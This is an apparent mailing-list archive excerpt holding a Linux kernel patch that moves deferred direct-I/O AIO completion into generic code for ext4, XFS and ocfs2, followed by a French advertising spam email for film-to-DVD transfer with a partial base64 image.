generic_write_sync(file, pos, ret); diff --git a/mm/filemap.c b/mm/filemap.c index 7905fe7..928572e 100644 --- a/mm/filemap.c +++ b/mm/filemap.c @@ -2550,7 +2550,7 @@ ssize_t generic_file_aio_write(struct kiocb *iocb, const struct iovec *iov, ret = __generic_file_aio_write(iocb, iov, nr_segs, &iocb->ki_pos); mutex_unlock(&inode->i_mutex); - if (ret > 0 || ret == -EIOCBQUEUED) { + if (ret > 0) { ssize_t err; err = generic_write_sync(file, pos, ret); -- 1.8.1.4 From jack@suse.cz Wed Jul 10 17:02:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9E4997F4E for ; Wed, 10 Jul 2013 17:02:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0A12EAC004 for ; Wed, 10 Jul 2013 15:02:39 -0700 (PDT) X-ASG-Debug-ID: 1373493757-04cb6c2a47b0bfd0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id cZ5bWyyf7kgEOAFR for ; Wed, 10 Jul 2013 15:02:37 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id DBEB9A5211; Thu, 11 Jul 2013 00:02:34 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 265D380E5E; Thu, 11 Jul 2013 00:02:33 +0200 (CEST) From: Jan Kara To: linux-fsdevel@vger.kernel.org Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, hch@infradead.org, Jeff Moyer , Al Viro , Christoph Hellwig , Jan Kara Subject: [PATCH 1/2] direct-io: Implement generic deferred AIO completions Date: Thu, 11 Jul 2013 00:02:18 +0200 X-ASG-Orig-Subj: [PATCH 1/2] direct-io: Implement generic deferred AIO completions Message-Id: <1373493739-2243-1-git-send-email-jack@suse.cz> X-Mailer: git-send-email 1.8.1.4 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1373493757 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header From: Christoph Hellwig Add support to the core direct-io code to defer AIO completions to user context using a workqueue. This replaces opencoded and less efficient code in XFS and ext4 and will be needed to properly support O_(D)SYNC for AIO. The communication between the filesystem and the direct I/O code requires a new buffer head flag, which is a bit ugly but not avoidable until the direct I/O code stops abusing the buffer_head structure for communicating with the filesystems. Currently this creates a per-superblock unbound workqueue for these completions, which is taken from an earlier patch by Jan Kara. I'm not really convinced about this use and would prefer a "normal" global workqueue with a high concurrency limit, but this needs further discussion. Signed-off-by: Christoph Hellwig Signed-off-by: Jan Kara --- fs/direct-io.c | 50 ++++++++++++++++++++++++++++++--------------- fs/ext4/ext4.h | 11 ---------- fs/ext4/inode.c | 28 +++++++------------------ fs/ext4/page-io.c | 30 +++++++-------------------- fs/ext4/super.c | 16 --------------- fs/ocfs2/aops.c | 8 +------- fs/super.c | 28 +++++++++++++++++-------- fs/xfs/xfs_aops.c | 28 +++++-------------------- fs/xfs/xfs_aops.h | 3 --- include/linux/buffer_head.h | 2 ++ include/linux/fs.h | 7 +++++-- 11 files changed, 81 insertions(+), 130 deletions(-) diff --git a/fs/direct-io.c b/fs/direct-io.c index 7ab90f5..36bddad 100644 --- a/fs/direct-io.c +++ b/fs/direct-io.c @@ -127,6 +127,7 @@ struct dio { spinlock_t bio_lock; /* protects BIO fields below */ int page_errors; /* errno from get_user_pages() */ int is_async; /* is IO async ? */ + bool defer_completion; /* defer AIO completion to workqueue? */ int io_error; /* IO error in completion path */ unsigned long refcount; /* direct_io_worker() and bios */ struct bio *bio_list; /* singly linked via bi_private */ @@ -141,7 +142,10 @@ struct dio { * allocation time. Don't add new fields after pages[] unless you * wish that they not be zeroed. */ - struct page *pages[DIO_PAGES]; /* page buffer */ + union { + struct page *pages[DIO_PAGES]; /* page buffer */ + struct work_struct complete_work;/* deferred AIO completion */ + }; } ____cacheline_aligned_in_smp; static struct kmem_cache *dio_cache __read_mostly; @@ -221,16 +225,16 @@ static inline struct page *dio_get_page(struct dio *dio, * dio_complete() - called when all DIO BIO I/O has been completed * @offset: the byte offset in the file of the completed operation * - * This releases locks as dictated by the locking type, lets interested parties - * know that a DIO operation has completed, and calculates the resulting return - * code for the operation. + * This drops i_dio_count, lets interested parties know that a DIO operation + * has completed, and calculates the resulting return code for the operation. * * It lets the filesystem know if it registered an interest earlier via * get_block. Pass the private field of the map buffer_head so that * filesystems can use it to hold additional state between get_block calls and * dio_complete. */ -static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, bool is_async) +static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, + bool is_async) { ssize_t transferred = 0; @@ -258,19 +262,26 @@ static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, bool is if (ret == 0) ret = transferred; - if (dio->end_io && dio->result) { - dio->end_io(dio->iocb, offset, transferred, - dio->private, ret, is_async); - } else { - inode_dio_done(dio->inode); - if (is_async) - aio_complete(dio->iocb, ret, 0); - } + if (dio->end_io && dio->result) + dio->end_io(dio->iocb, offset, transferred, dio->private); + + inode_dio_done(dio->inode); + if (is_async) + aio_complete(dio->iocb, ret, 0); + kmem_cache_free(dio_cache, dio); return ret; } +static void dio_aio_complete_work(struct work_struct *work) +{ + struct dio *dio = container_of(work, struct dio, complete_work); + + dio_complete(dio, dio->iocb->ki_pos, 0, true); +} + static int dio_bio_complete(struct dio *dio, struct bio *bio); + /* * Asynchronous IO callback. */ @@ -290,8 +301,13 @@ static void dio_bio_end_aio(struct bio *bio, int error) spin_unlock_irqrestore(&dio->bio_lock, flags); if (remaining == 0) { - dio_complete(dio, dio->iocb->ki_pos, 0, true); - kmem_cache_free(dio_cache, dio); + if (dio->result && dio->defer_completion) { + INIT_WORK(&dio->complete_work, dio_aio_complete_work); + queue_work(dio->inode->i_sb->s_dio_done_wq, + &dio->complete_work); + } else { + dio_complete(dio, dio->iocb->ki_pos, 0, true); + } } } @@ -581,6 +597,9 @@ static int get_more_blocks(struct dio *dio, struct dio_submit *sdio, /* Store for completion */ dio->private = map_bh->b_private; + + if (buffer_defer_completion(map_bh)) + dio->defer_completion = true; } return ret; } @@ -1269,7 +1288,6 @@ do_blockdev_direct_IO(int rw, struct kiocb *iocb, struct inode *inode, if (drop_refcount(dio) == 0) { retval = dio_complete(dio, offset, retval, false); - kmem_cache_free(dio_cache, dio); } else BUG_ON(retval != -EIOCBQUEUED); diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index b577e45..bb64697 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -180,7 +180,6 @@ struct ext4_map_blocks { * Flags for ext4_io_end->flags */ #define EXT4_IO_END_UNWRITTEN 0x0001 -#define EXT4_IO_END_DIRECT 0x0002 /* * For converting uninitialized extents on a work queue. 'handle' is used for @@ -196,8 +195,6 @@ typedef struct ext4_io_end { unsigned int flag; /* unwritten or not */ loff_t offset; /* offset in the file */ ssize_t size; /* size of the extent */ - struct kiocb *iocb; /* iocb struct for AIO */ - int result; /* error value for AIO */ atomic_t count; /* reference counter */ } ext4_io_end_t; @@ -900,11 +897,9 @@ struct ext4_inode_info { * Completed IOs that need unwritten extents handling and don't have * transaction reserved */ - struct list_head i_unrsv_conversion_list; atomic_t i_ioend_count; /* Number of outstanding io_end structs */ atomic_t i_unwritten; /* Nr. of inflight conversions pending */ struct work_struct i_rsv_conversion_work; - struct work_struct i_unrsv_conversion_work; spinlock_t i_block_reservation_lock; @@ -1276,8 +1271,6 @@ struct ext4_sb_info { struct flex_groups *s_flex_groups; ext4_group_t s_flex_groups_allocated; - /* workqueue for unreserved extent convertions (dio) */ - struct workqueue_struct *unrsv_conversion_wq; /* workqueue for reserved extent conversions (buffered io) */ struct workqueue_struct *rsv_conversion_wq; @@ -1340,9 +1333,6 @@ static inline void ext4_set_io_unwritten_flag(struct inode *inode, struct ext4_io_end *io_end) { if (!(io_end->flag & EXT4_IO_END_UNWRITTEN)) { - /* Writeback has to have coversion transaction reserved */ - WARN_ON(EXT4_SB(inode->i_sb)->s_journal && !io_end->handle && - !(io_end->flag & EXT4_IO_END_DIRECT)); io_end->flag |= EXT4_IO_END_UNWRITTEN; atomic_inc(&EXT4_I(inode)->i_unwritten); } @@ -2715,7 +2705,6 @@ extern void ext4_put_io_end_defer(ext4_io_end_t *io_end); extern void ext4_io_submit_init(struct ext4_io_submit *io, struct writeback_control *wbc); extern void ext4_end_io_rsv_work(struct work_struct *work); -extern void ext4_end_io_unrsv_work(struct work_struct *work); extern void ext4_io_submit(struct ext4_io_submit *io); extern int ext4_bio_write_page(struct ext4_io_submit *io, struct page *page, diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 0188e65..56faf56 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -730,8 +730,12 @@ static int _ext4_get_block(struct inode *inode, sector_t iblock, ret = ext4_map_blocks(handle, inode, &map, flags); if (ret > 0) { + ext4_io_end_t *io_end = ext4_inode_aio(inode); + map_bh(bh, inode->i_sb, map.m_pblk); bh->b_state = (bh->b_state & ~EXT4_MAP_FLAGS) | map.m_flags; + if (io_end && io_end->flag & EXT4_IO_END_UNWRITTEN) + set_buffer_defer_completion(bh); bh->b_size = inode->i_sb->s_blocksize * map.m_len; ret = 0; } @@ -2997,19 +3001,13 @@ static int ext4_get_block_write_nolock(struct inode *inode, sector_t iblock, } static void ext4_end_io_dio(struct kiocb *iocb, loff_t offset, - ssize_t size, void *private, int ret, - bool is_async) + ssize_t size, void *private) { - struct inode *inode = file_inode(iocb->ki_filp); ext4_io_end_t *io_end = iocb->private; /* if not async direct IO just return */ - if (!io_end) { - inode_dio_done(inode); - if (is_async) - aio_complete(iocb, ret, 0); + if (!io_end) return; - } ext_debug("ext4_end_io_dio(): io_end 0x%p " "for inode %lu, iocb 0x%p, offset %llu, size %zd\n", @@ -3019,11 +3017,7 @@ static void ext4_end_io_dio(struct kiocb *iocb, loff_t offset, iocb->private = NULL; io_end->offset = offset; io_end->size = size; - if (is_async) { - io_end->iocb = iocb; - io_end->result = ret; - } - ext4_put_io_end_defer(io_end); + ext4_put_io_end(io_end); } /* @@ -3108,7 +3102,6 @@ static ssize_t ext4_ext_direct_IO(int rw, struct kiocb *iocb, ret = -ENOMEM; goto retake_lock; } - io_end->flag |= EXT4_IO_END_DIRECT; /* * Grab reference for DIO. Will be dropped in ext4_end_io_dio() */ @@ -3153,13 +3146,6 @@ static ssize_t ext4_ext_direct_IO(int rw, struct kiocb *iocb, if (ret <= 0 && ret != -EIOCBQUEUED && iocb->private) { WARN_ON(iocb->private != io_end); WARN_ON(io_end->flag & EXT4_IO_END_UNWRITTEN); - WARN_ON(io_end->iocb); - /* - * Generic code already did inode_dio_done() so we - * have to clear EXT4_IO_END_DIRECT to not do it for - * the second time. - */ - io_end->flag = 0; ext4_put_io_end(io_end); iocb->private = NULL; } diff --git a/fs/ext4/page-io.c b/fs/ext4/page-io.c index 48786cd..d25fab4 100644 --- a/fs/ext4/page-io.c +++ b/fs/ext4/page-io.c @@ -122,10 +122,6 @@ static void ext4_release_io_end(ext4_io_end_t *io_end) ext4_finish_bio(bio); bio_put(bio); } - if (io_end->flag & EXT4_IO_END_DIRECT) - inode_dio_done(io_end->inode); - if (io_end->iocb) - aio_complete(io_end->iocb, io_end->result, 0); kmem_cache_free(io_end_cachep, io_end); } @@ -203,19 +199,14 @@ static void ext4_add_complete_io(ext4_io_end_t *io_end) struct workqueue_struct *wq; unsigned long flags; - BUG_ON(!(io_end->flag & EXT4_IO_END_UNWRITTEN)); + /* Only reserved conversions from writeback should enter here */ + WARN_ON(!(io_end->flag & EXT4_IO_END_UNWRITTEN)); + WARN_ON(!io_end->handle); spin_lock_irqsave(&ei->i_completed_io_lock, flags); - if (io_end->handle) { - wq = EXT4_SB(io_end->inode->i_sb)->rsv_conversion_wq; - if (list_empty(&ei->i_rsv_conversion_list)) - queue_work(wq, &ei->i_rsv_conversion_work); - list_add_tail(&io_end->list, &ei->i_rsv_conversion_list); - } else { - wq = EXT4_SB(io_end->inode->i_sb)->unrsv_conversion_wq; - if (list_empty(&ei->i_unrsv_conversion_list)) - queue_work(wq, &ei->i_unrsv_conversion_work); - list_add_tail(&io_end->list, &ei->i_unrsv_conversion_list); - } + wq = EXT4_SB(io_end->inode->i_sb)->rsv_conversion_wq; + if (list_empty(&ei->i_rsv_conversion_list)) + queue_work(wq, &ei->i_rsv_conversion_work); + list_add_tail(&io_end->list, &ei->i_rsv_conversion_list); spin_unlock_irqrestore(&ei->i_completed_io_lock, flags); } @@ -255,13 +246,6 @@ void ext4_end_io_rsv_work(struct work_struct *work) ext4_do_flush_completed_IO(&ei->vfs_inode, &ei->i_rsv_conversion_list); } -void ext4_end_io_unrsv_work(struct work_struct *work) -{ - struct ext4_inode_info *ei = container_of(work, struct ext4_inode_info, - i_unrsv_conversion_work); - ext4_do_flush_completed_IO(&ei->vfs_inode, &ei->i_unrsv_conversion_list); -} - ext4_io_end_t *ext4_init_io_end(struct inode *inode, gfp_t flags) { ext4_io_end_t *io = kmem_cache_zalloc(io_end_cachep, flags); diff --git a/fs/ext4/super.c b/fs/ext4/super.c index 85b3dd6..5ab89a0 100644 --- a/fs/ext4/super.c +++ b/fs/ext4/super.c @@ -762,9 +762,7 @@ static void ext4_put_super(struct super_block *sb) ext4_unregister_li_request(sb); dquot_disable(sb, -1, DQUOT_USAGE_ENABLED | DQUOT_LIMITS_ENABLED); - flush_workqueue(sbi->unrsv_conversion_wq); flush_workqueue(sbi->rsv_conversion_wq); - destroy_workqueue(sbi->unrsv_conversion_wq); destroy_workqueue(sbi->rsv_conversion_wq); if (sbi->s_journal) { @@ -875,14 +873,12 @@ static struct inode *ext4_alloc_inode(struct super_block *sb) #endif ei->jinode = NULL; INIT_LIST_HEAD(&ei->i_rsv_conversion_list); - INIT_LIST_HEAD(&ei->i_unrsv_conversion_list); spin_lock_init(&ei->i_completed_io_lock); ei->i_sync_tid = 0; ei->i_datasync_tid = 0; atomic_set(&ei->i_ioend_count, 0); atomic_set(&ei->i_unwritten, 0); INIT_WORK(&ei->i_rsv_conversion_work, ext4_end_io_rsv_work); - INIT_WORK(&ei->i_unrsv_conversion_work, ext4_end_io_unrsv_work); return &ei->vfs_inode; } @@ -3960,14 +3956,6 @@ no_journal: goto failed_mount4; } - EXT4_SB(sb)->unrsv_conversion_wq = - alloc_workqueue("ext4-unrsv-conversion", WQ_MEM_RECLAIM | WQ_UNBOUND, 1); - if (!EXT4_SB(sb)->unrsv_conversion_wq) { - printk(KERN_ERR "EXT4-fs: failed to create workqueue\n"); - ret = -ENOMEM; - goto failed_mount4; - } - /* * The jbd2_journal_load will have done any necessary log recovery, * so we can safely mount the rest of the filesystem now. @@ -4121,8 +4109,6 @@ failed_mount4: ext4_msg(sb, KERN_ERR, "mount failed"); if (EXT4_SB(sb)->rsv_conversion_wq) destroy_workqueue(EXT4_SB(sb)->rsv_conversion_wq); - if (EXT4_SB(sb)->unrsv_conversion_wq) - destroy_workqueue(EXT4_SB(sb)->unrsv_conversion_wq); failed_mount_wq: if (sbi->s_journal) { jbd2_journal_destroy(sbi->s_journal); @@ -4570,7 +4556,6 @@ static int ext4_sync_fs(struct super_block *sb, int wait) trace_ext4_sync_fs(sb, wait); flush_workqueue(sbi->rsv_conversion_wq); - flush_workqueue(sbi->unrsv_conversion_wq); /* * Writeback quota in non-journalled quota case - journalled quota has * no dirty dquots @@ -4606,7 +4591,6 @@ static int ext4_sync_fs_nojournal(struct super_block *sb, int wait) trace_ext4_sync_fs(sb, wait); flush_workqueue(EXT4_SB(sb)->rsv_conversion_wq); - flush_workqueue(EXT4_SB(sb)->unrsv_conversion_wq); dquot_writeback_dquots(sb, -1); if (wait && test_opt(sb, BARRIER)) ret = blkdev_issue_flush(sb->s_bdev, GFP_KERNEL, NULL); diff --git a/fs/ocfs2/aops.c b/fs/ocfs2/aops.c index 79736a2..a533593 100644 --- a/fs/ocfs2/aops.c +++ b/fs/ocfs2/aops.c @@ -565,9 +565,7 @@ bail: static void ocfs2_dio_end_io(struct kiocb *iocb, loff_t offset, ssize_t bytes, - void *private, - int ret, - bool is_async) + void *private) { struct inode *inode = file_inode(iocb->ki_filp); int level; @@ -592,10 +590,6 @@ static void ocfs2_dio_end_io(struct kiocb *iocb, level = ocfs2_iocb_rw_locked_level(iocb); ocfs2_rw_unlock(inode, level); - - inode_dio_done(inode); - if (is_async) - aio_complete(iocb, ret, 0); } /* diff --git a/fs/super.c b/fs/super.c index 7465d43..4992012 100644 --- a/fs/super.c +++ b/fs/super.c @@ -152,15 +152,21 @@ static struct super_block *alloc_super(struct file_system_type *type, int flags) static const struct super_operations default_op; if (s) { - if (security_sb_alloc(s)) { - /* - * We cannot call security_sb_free() without - * security_sb_alloc() succeeding. So bail out manually - */ - kfree(s); - s = NULL; - goto out; + /* + * Alloc workqueue only for filesystems that need it. This also + * avoids problems with pseudo filesystems which get initialized + * before workqueues can be created + */ + if (type->fs_flags & FS_REQUIRES_DEV) { + s->s_dio_done_wq = + alloc_workqueue("dio-sync", WQ_UNBOUND, 1); + if (!s->s_dio_done_wq) + goto out_free_sb; } + + if (security_sb_alloc(s)) + goto out_destroy_wq; + #ifdef CONFIG_SMP s->s_files = alloc_percpu(struct list_head); if (!s->s_files) @@ -228,6 +234,10 @@ err_out: free_percpu(s->s_files); #endif destroy_sb_writers(s); +out_destroy_wq: + if (s->s_dio_done_wq) + destroy_workqueue(s->s_dio_done_wq); +out_free_sb: kfree(s); s = NULL; goto out; @@ -244,6 +254,8 @@ static inline void destroy_super(struct super_block *s) #ifdef CONFIG_SMP free_percpu(s->s_files); #endif + if (s->s_dio_done_wq) + destroy_workqueue(s->s_dio_done_wq); destroy_sb_writers(s); security_sb_free(s); WARN_ON(!list_empty(&s->s_mounts)); diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 596ec71..e11d654 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -86,14 +86,6 @@ xfs_destroy_ioend( bh->b_end_io(bh, !ioend->io_error); } - if (ioend->io_iocb) { - inode_dio_done(ioend->io_inode); - if (ioend->io_isasync) { - aio_complete(ioend->io_iocb, ioend->io_error ? - ioend->io_error : ioend->io_result, 0); - } - } - mempool_free(ioend, xfs_ioend_pool); } @@ -281,7 +273,6 @@ xfs_alloc_ioend( * all the I/O from calling the completion routine too early. */ atomic_set(&ioend->io_remaining, 1); - ioend->io_isasync = 0; ioend->io_isdirect = 0; ioend->io_error = 0; ioend->io_list = NULL; @@ -291,8 +282,6 @@ xfs_alloc_ioend( ioend->io_buffer_tail = NULL; ioend->io_offset = 0; ioend->io_size = 0; - ioend->io_iocb = NULL; - ioend->io_result = 0; ioend->io_append_trans = NULL; INIT_WORK(&ioend->io_work, xfs_end_io); @@ -1292,8 +1281,10 @@ __xfs_get_blocks( if (create || !ISUNWRITTEN(&imap)) xfs_map_buffer(inode, bh_result, &imap, offset); if (create && ISUNWRITTEN(&imap)) { - if (direct) + if (direct) { bh_result->b_private = inode; + set_buffer_defer_completion(bh_result); + } set_buffer_unwritten(bh_result); } } @@ -1390,9 +1381,7 @@ xfs_end_io_direct_write( struct kiocb *iocb, loff_t offset, ssize_t size, - void *private, - int ret, - bool is_async) + void *private) { struct xfs_ioend *ioend = iocb->private; @@ -1414,17 +1403,10 @@ xfs_end_io_direct_write( ioend->io_offset = offset; ioend->io_size = size; - ioend->io_iocb = iocb; - ioend->io_result = ret; if (private && size > 0) ioend->io_type = XFS_IO_UNWRITTEN; - if (is_async) { - ioend->io_isasync = 1; - xfs_finish_ioend(ioend); - } else { - xfs_finish_ioend_sync(ioend); - } + xfs_finish_ioend_sync(ioend); } STATIC ssize_t diff --git a/fs/xfs/xfs_aops.h b/fs/xfs/xfs_aops.h index c325abb..f94dd45 100644 --- a/fs/xfs/xfs_aops.h +++ b/fs/xfs/xfs_aops.h @@ -45,7 +45,6 @@ typedef struct xfs_ioend { unsigned int io_type; /* delalloc / unwritten */ int io_error; /* I/O error code */ atomic_t io_remaining; /* hold count */ - unsigned int io_isasync : 1; /* needs aio_complete */ unsigned int io_isdirect : 1;/* direct I/O */ struct inode *io_inode; /* file being written to */ struct buffer_head *io_buffer_head;/* buffer linked list head */ @@ -54,8 +53,6 @@ typedef struct xfs_ioend { xfs_off_t io_offset; /* offset in the file */ struct work_struct io_work; /* xfsdatad work queue */ struct xfs_trans *io_append_trans;/* xact. for size update */ - struct kiocb *io_iocb; - int io_result; } xfs_ioend_t; extern const struct address_space_operations xfs_address_space_operations; diff --git a/include/linux/buffer_head.h b/include/linux/buffer_head.h index 91fa9a9..d77797a 100644 --- a/include/linux/buffer_head.h +++ b/include/linux/buffer_head.h @@ -36,6 +36,7 @@ enum bh_state_bits { BH_Quiet, /* Buffer Error Prinks to be quiet */ BH_Meta, /* Buffer contains metadata */ BH_Prio, /* Buffer should be submitted with REQ_PRIO */ + BH_Defer_Completion, /* Defer AIO completion to workqueue */ BH_PrivateStart,/* not a state bit, but the first bit available * for private allocation by other entities @@ -128,6 +129,7 @@ BUFFER_FNS(Write_EIO, write_io_error) BUFFER_FNS(Unwritten, unwritten) BUFFER_FNS(Meta, meta) BUFFER_FNS(Prio, prio) +BUFFER_FNS(Defer_Completion, defer_completion) #define bh_offset(bh) ((unsigned long)(bh)->b_data & ~PAGE_MASK) diff --git a/include/linux/fs.h b/include/linux/fs.h index 99be011..5b3fa72 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -45,6 +45,7 @@ struct vfsmount; struct cred; struct swap_info_struct; struct seq_file; +struct workqueue_struct; extern void __init inode_init(void); extern void __init inode_init_early(void); @@ -62,8 +63,7 @@ struct buffer_head; typedef int (get_block_t)(struct inode *inode, sector_t iblock, struct buffer_head *bh_result, int create); typedef void (dio_iodone_t)(struct kiocb *iocb, loff_t offset, - ssize_t bytes, void *private, int ret, - bool is_async); + ssize_t bytes, void *private); #define MAY_EXEC 0x00000001 #define MAY_WRITE 0x00000002 @@ -1325,6 +1325,9 @@ struct super_block { /* Being remounted read-only */ int s_readonly_remount; + + /* AIO completions deferred from interrupt context */ + struct workqueue_struct *s_dio_done_wq; }; /* superblock cache pruning functions */ -- 1.8.1.4 From bounce@ldipromo.com Wed Jul 10 17:48:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.8 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,MIME_HTML_ONLY,SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B39467F3F for ; Wed, 10 Jul 2013 17:48:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 57E9E30406B for ; Wed, 10 Jul 2013 15:48:30 -0700 (PDT) X-ASG-Debug-ID: 1373496504-04bdf0233edcffa0001-w1Z2WR Received: from srv3.imatique.net (srv3.imatique.net [91.121.18.156]) by cuda.sgi.com with ESMTP id c2rFfgFnP4iF8gwc (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 15:48:26 -0700 (PDT) X-Barracuda-Envelope-From: bounce@ldipromo.com X-Barracuda-Apparent-Source-IP: 91.121.18.156 Received: (qmail 13936 invoked by uid 509); 5 Jul 2013 12:55:24 -0000 Received: from 127.0.0.1 by ns38960.ovh.net (envelope-from , uid 508) with qmail-scanner-2.01st (clamdscan: 0.96.1/12620. spamassassin: 3.3.1. perlscan: 2.01st. Clear:RC:1(127.0.0.1):. Processed in 0.019731 secs); 05 Jul 2013 12:55:24 -0000 Received: from unknown (HELO srv3.imatique.net) (127.0.0.1) by localhost with SMTP; 5 Jul 2013 12:55:24 -0000 Date: Fri, 05 Jul 2013 14:55:24 +0200 From: "IMATIQUE" Subject: IMATIQUE - VOS VIEUX FILMS SUR DVD To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: IMATIQUE - VOS VIEUX FILMS SUR DVD X-Mailer: Wamailer/2.4 (http://phpcodeur.net) X-AntiAbuse: Sender IP - 193.253.168.21/Server Name - MIME-Version: 1.0 Message-ID: Content-Type: multipart/related; boundary="--=_Part1_298ded8102fc3eb2cbb37c22f4b66425" X-Barracuda-Connect: srv3.imatique.net[91.121.18.156] X-Barracuda-Start-Time: 1373496505 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.17 X-Barracuda-Spam-Status: No, SCORE=0.17 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136395 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ----=_Part1_298ded8102fc3eb2cbb37c22f4b66425 Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit Transférez vos anciens films sur support DVD !
    imatique :
sauvegardes et transferts numériques
    Transférez vos anciens films...

    Transférez
    vos anciens films
    sur support DVD !

    ... sur
support DVD !
    VACANCES,
MARIAGES, BAPTÊMES, COMMUNIONS, VOYAGES, SOUVENIRS...

    8 mm
    16 mm
    Super 8
    9,5 mm
    Hi8
    VHS
    VHS-C
    K7
    Mini DV
    photos
    diapos

    DVD VIDEO

    www.imatique.com

    01 69 78 78 54

    Demandez un
devis

    Demandez un devis

    Colis
recommandé


    Envois sécurisés


    Envois et retours
    par colis recommand

    Facilités de paiement


    Facilités de paiement


    Possibilité de règlement échelonné
    contactez-nous !


    imatique - Z.A. des Gravelles - 3, rue des Liquidambars - 91580 ETRECHY

     

    Ce mail commercial est conforme la lgislation en vigueur et aux dlibrations de la CNIL des 22 et 30 mars 2005 sur la prospection par courrier lectronique. Dclaration CNIL N1246115. Conformment l'article 34 de la loi Informatique et Libert du 6 janvier 1978, vous disposez d'un droit d'accs, de modification, de rectification et de suppression des donnes vous concernant. Pour cel cliquer sur le lien suivant : Se dsinscrire pour vous dsinscrire
    Cet email a t envoy l'adresse de messagerie de messagerie .

    ----=_Part1_298ded8102fc3eb2cbb37c22f4b66425 Content-Type: image/jpeg; name="02bobine.jpg" Content-Transfer-Encoding: base64 Content-ID: /9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAIwAA/+4AIUFkb2JlAGTAAAAAAQMA EAMCAwYAAAYIAAAN6AAAIF3/2wCEAA4KCgoLCg4LCw4UDQsNFBgSDg4SGBsWFhcWFhsaFBcXFxcU GhofICMgHxopKS0tKSk9Ozs7PUBAQEBAQEBAQEABDw0NDxEPEhAQEhQOEQ4UFxIUFBIXIRcXGRcX ISoeGhoaGh4qJikjIyMpJi8vKiovLzo6ODo6QEBAQEBAQEBAQP/CABEIARcA+gMBIgACEQEDEQH/ xAC9AAEAAgMBAQAAAAAAAAAAAAAABQYBAgQDBwEBAQEAAAAAAAAAAAAAAAAAAAECEAABBAIBAgYB AwQDAQAAAAABAgMEBQARBhASIDAhMRMUQUAVB1AiMxZwIzQ1EQACAQIEAgYFCQYEBAcBAAABAgMA ESExEgRBUWFxgSIyExCRQlIFMPChwWJyIzMUQLHRgpJDIOGiU3OTJDRw8bLC1DUGNhIAAQQCAwAA AAAAAAAAAAAAITBAUAEQEQBgcP/aAAwDAQACEQMRAAAA+kgAAAAAAAAAAAAAAAwwMsDLAywMsDLA ywMsDLAywMsDLAywMsDLAywAAADziFmfKt6S2b2qOxblelU7BYAAAAAAAAAOY9uPl5Je1xaLI+lW 8yXktfA7Yn2nkgZ+vlsbz9LkAAAAAAADwjPTMvHUpyjzXvIQsuTtS3sllautUn4slTnZEg5mrWw5 JzxiLLCxmwAAAAABz9HAcEtG+MteqU9HS8zz9Cf5Mc6z9TlYszbqnsn0+ozPSSvNVr1UdL0y2J7i 